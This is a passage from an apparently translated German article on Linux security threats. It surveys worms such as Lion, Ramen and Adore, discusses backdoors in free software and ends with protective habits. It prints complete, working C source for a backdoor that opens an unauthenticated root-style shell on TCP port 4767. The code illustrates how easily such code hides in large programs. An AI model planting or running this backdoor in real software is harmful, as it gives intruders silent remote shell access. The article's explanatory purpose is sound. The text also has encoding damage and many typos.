Linux existeirte zu der Zeit des 1988 Internet Worm nicht; es w�re das Wunschziel f�r eine solche art von Angriff, die Verf�gbarkeit von freien Softwarequellen macht die Suche nach Verwundbarkeiten sehr einfach (buffer overflows, zum Beispiel). Die Komplexit�t f�r das Schreiben eines Wurms "guter Qualit�t" reduziert die Anzahl derer, die wirklich unter Linux aktiv sind. Tabelle 2 pr�sentiert einige davon, darunter die am h�ufigsten verbreitesten.

Die W�rmer nutzen Netzwerkverwundbarkeiten aus. F�r Workstations, die nur abundzu mit dem Internet verbunden sind, ist das Risiko theoretisch geringer als f�r Server, die perament verbunden sind. Aber die Evolution der Verbindungstypen, die dem home-Benutzer zur Verf�gung stehen (Kabel, SDL, etc.) und die Einfachheit der Implementation aktueller Netzwerkdienste (HTTP Server, anonymous FTP, etc.) implizieren, da� es schnell ein Anliegen f�r jeden werden kann.

Tablele 2 - W�rmer unter Linux
Name Verwundbarkeiten Bemerkungen
Lion (1i0n) bind Installiert eine Hintert�r (TCP port 10008) und ein root-kit auf der eingedrungenen Maschine. Schickt Systeminformationen an eine Emailadresse in China.
Ramen lpr, nfs, wu-ftpd �ndert die index.html Dateien, die es findet
Adore (Red Worm) bind, lpr, rpc, wu-ftpd Installiert eine Hintert�r in dem Sytem und schickt Informatiotnen an eine Emailadresse in China und den USA. Installiert eine modifizierte ps Version, um seine Prozesse zu verstecken.
Cheese wie Lion Wurm, eingef�hrt als ein netter Helfer, �berpr�ft und entfernt die Hintert�ren, die von Lion ge�ffnet wurden.

�ber W�rmer kann man sagen, da� ihre Verbreitung Zeitbegrenzt ist. Sie "�berleben" durch Sich-Vermehren von einem System zum anderen und da sie von neu entdeckten Verwundbarkeiten abh�ngen, stoppen schnelle Updates der Zielapplikationen ihre Verbreitung. In naher Zukunft ist es wahrscheinlich, da� Heimsysteme automatisch Referenzwebseiten konsultieren m�ssen (jeden Tag) - denen man trauen kann - um ihre Sicherheitspatche f�r Systemapplikationen zu finden. Dies wird notwendig werden, um zu verhindern, da� der Benutzer Vollzeit als Systemadministrator arbeiten mu�.

Hintert�ren

Das Hintert�rproblem ist wichtig, auch f�r freie Software. Nat�rlich kann man, wenn der Quellcode eines Programms verf�gbar ist, theoretisch �berpr�fen, was es macht. Tats�chlich lesen nur sehr wenige Leute den Code, der aus dem Internet geladen wurde. Zum Beispiel enth�lt das kleine Programm unten eine vollst�ndige Hintert�r, weil es klein ist, erlaubt es, sich in gen�gend gro�en Applikationen zu verstecken. Dieses Programm wurde von einem Beispiel aus meinem Buch [BLAESS 00] abgeleitet, das die Mechanismen eines Pseudoterminals illustriert. Dieses Programm ist nicht sehr lesbar, da es unkommentiert ist, um es k�rzer zu machen. Die meisten Fehler�berpr�fungen wurden aus demselben Grund entfernt. Wenn es ausgef�hrt wird, �ffnet es einen TCP/IP Server auf dem zu Beginn des Programms (default 4767) erw�hnten Port auf jeder Netzwerkschnittstelle der Maschine. Jede angeforderte Verbindung zu diesem Port wird automatisch auf eine Shell ohne Autentifikation zugreifen !!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt, 
                sizeof(sockopt));
    memset (&adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) &adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, &adresse, &longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, &termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, &termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, &termios);
    cfmakeraw (&termios);
    tcsetattr (pty_maitre, TCSANOW, &termios);
    while (1) {
        FD_ZERO (&set);
        FD_SET (sock2, &set);
        FD_SET (pty_maitre, &set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             &set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

Einf�gen eines solchen Codes in eine gro�e Applikation (sendmail zum Beispiel) wird lange Zeit unbemerkt bleiben, lange genug, um freche Infiltration zu erlauben. au�erdem sind einige Leute fast Meister in der Kunst, die Arbeit eines St�ck Codes zu verstecken, wie die Programme, die jedes Jahr zum IOCC (International Obsfucated C Code Contest) Wettbewerb eingereicht werden, beweisen k�nnen.

Hintert�ren d�rfen nicht nur als theoretische M�glichkeiten betrachtet werden. Solche Schwierigkeiten wurden wirklich angetroffen, z.B. im Piranha Paket von der Red-Hat 6.2 Distribution, die ein Defaultpasswort akzeptierte. Das Spiel Quake 2 wurde ebenfalls verd�chtigt, eine Hintert�r zu verstecken, die entfernte Befehlsausf�hrung erlaubte.

Die Hintert�rmechanismen k�nne sich auch selbst in so komplexen Erscheinungen verstecken, da� sie f�r die meisten Leute nicht entdeckbar sind. Ein typischer Fall ist der, der Verschl�sselungssysteme betrifft. Z.B. das SE-Linuxsystem, es wurde durch Sicherheitspatche vom NSA "sicherer" gemacht. Die Linuxentwickler, die die gelieferten Patche �berpr�ften, sagten, da� sie nichts verd�chtiges gesehen haben, aber niemand kann sicher sein und nur sehr wenige Leute haben die erforderlichen mathematischen kenntnisse, um solche Verwundbarkeiten zu erkennen.

Schlu�bemerkung

Betrachtet man diese sch�dlichen Programme, die in der Gnu/Linuxwelt gefunden wurden, erlaubt es uns zu schlie�en: freie Software ist nicht sicher vor Viren, W�rmern, Trojanischn Pferden und anderen. Ohne zu hastig zu sein, mu� man Sicherheitswarnungen, die aktuelle Applikationen betreffen, beobachten, besonders wenn die Verbindung einer Workstation zum Internet h�ufig ist. Es ist wichtig, sich jetzt gute Gewohnheiten anzugew�hnen: update Software sobald eine Verwundbarkeit gefunden wurde; benutzte nur die erforderlichen Netzwerkdienste; lade nur Applikationen von Webseiten, denen man trauen kann, herunter. �berpr�fe sooft wie m�glich die PGP oder MD5 Signaturen f�r die heruntergeladenen Pakete. Die "ernsthafteren" Leute werden die Kontrolle installierter Applikationen automatisieren, mit Skripten zum Beispiel.

Eine zweite Anmerkung ist erforderlich: die zwei Hauptgefahren f�r Linuxsysteme der Zukunft sind entweder die Produktivit�tsapplikationen, die blind Macros, die in Dokumenten (einschlie�lich Email) enthalten sind, ausf�hren oder multi-plattform Viren, die, auch wenn sie unter Windows ausgef�hrt wurden in ausf�hrbare Dateien, auf einer Linuxpartition auf derselben Maschine, eindringen. W�hrend das erste Problem vom Benutzerverhalten abh�ngt, die ihen Produktivita�tsapplikationen nicht erlauben sollten, alles zu akzeptieren, so ist das zweite eher schwierig zu l�sen, auch f�r einen gewissenhaften Adminsitrator. In sehr naher Zukunft m��ten sehr leistungsstarke Virenscanner f�r Linuxworkstations, die mit dem Internet verbunden sind, implemnetiert werden. La�t uns hoffen, da� solche Projekte sehr bald in der freien Softwarewelt auftauchen werden.

Bibliografie

Die Anzahl von Dokumenten �ber Viren, Trojanische Pferde und andere Softwaregefahren ist ein wichtiger indikator; es gibt viele Texte, die �ber aktuelle Viren reden, wie sie arbeiten und was sie tun. Nat�rlich betreffen die meisten dieser Listen Dos/Windows, aber einige betreffen Linux. Die hier erw�hnten Artikel sind eher klassisch und analysieren die implementierten theoretischen Mechanismen.